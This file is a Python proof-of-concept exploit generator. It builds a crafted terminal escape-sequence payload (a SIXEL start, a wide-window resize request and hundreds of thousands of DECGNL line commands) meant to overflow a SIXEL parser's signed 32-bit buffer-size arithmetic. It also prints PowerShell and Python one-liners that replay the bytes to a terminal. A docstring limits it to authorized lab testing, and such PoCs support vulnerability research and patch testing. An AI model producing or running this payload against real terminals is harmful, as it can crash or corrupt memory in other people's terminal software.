#!/usr/bin/env python3
"""
Generate a crafted VT payload that drives the SIXEL parser's signed int32 size math.

This payload is intended for authorized lab testing only.
"""

from __future__ import annotations

import argparse
import sys


def _build_payload(lines: int, resize_cols: int, resize_rows: int) -> bytes:
    parts: list[bytes] = []

    # Optional: request a very wide terminal to reduce the number of SIXEL lines needed.
    if resize_cols > 0:
        parts.append(f"\x1b[8;{resize_rows};{resize_cols}t".encode("ascii"))

    # Enable SIXEL display mode (DECSDM).
    parts.append(b"\x1b[?80h")

    # Start SIXEL: DCS ... q
    parts.append(b"\x1bPq")

    # A run of DECGNL commands ('-') repeatedly moves the image cursor down and
    # triggers _resizeImageBuffer(_sixelHeight) each time.
    parts.append(b"-" * lines)

    # End DCS string.
    parts.append(b"\x1b\\")
    return b"".join(parts)


def main() -> int:
    parser = argparse.ArgumentParser(description="Generate a SIXEL integer-overflow stress payload.")
    parser.add_argument("--lines", type=int, default=200000, help="Number of SIXEL next-line commands ('-').")
    parser.add_argument(
        "--resize-cols",
        type=int,
        default=3276,
        help="Requested columns via CSI 8 ; rows ; cols t. Use 0 to skip resize request.",
    )
    parser.add_argument("--resize-rows", type=int, default=24, help="Rows used with --resize-cols.")
    parser.add_argument("--output", default="poc/sixel_integer_overflow_payload.bin", help="Output payload path.")
    parser.add_argument("--stdout", action="store_true", help="Write payload to stdout instead of --output.")
    args = parser.parse_args()

    if args.lines <= 0:
        parser.error("--lines must be > 0")
    if args.resize_cols < 0 or args.resize_rows <= 0:
        parser.error("resize values must be positive (or cols=0 to disable resize request)")

    payload = _build_payload(args.lines, args.resize_cols, args.resize_rows)

    if args.stdout:
        sys.stdout.buffer.write(payload)
        return 0

    with open(args.output, "wb") as f:
        f.write(payload)

    print(f"[+] Wrote {len(payload)} bytes to {args.output}")
    print("[*] Replay examples (raw byte output):")
    print("    PowerShell:")
    print(
        "      $b=[IO.File]::ReadAllBytes('"
        + args.output
        + "');$s=[Console]::OpenStandardOutput();$s.Write($b,0,$b.Length);$s.Flush()"
    )
    print("    Python:")
    print(f"      python -c \"import sys;sys.stdout.buffer.write(open(r'{args.output}','rb').read())\"")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())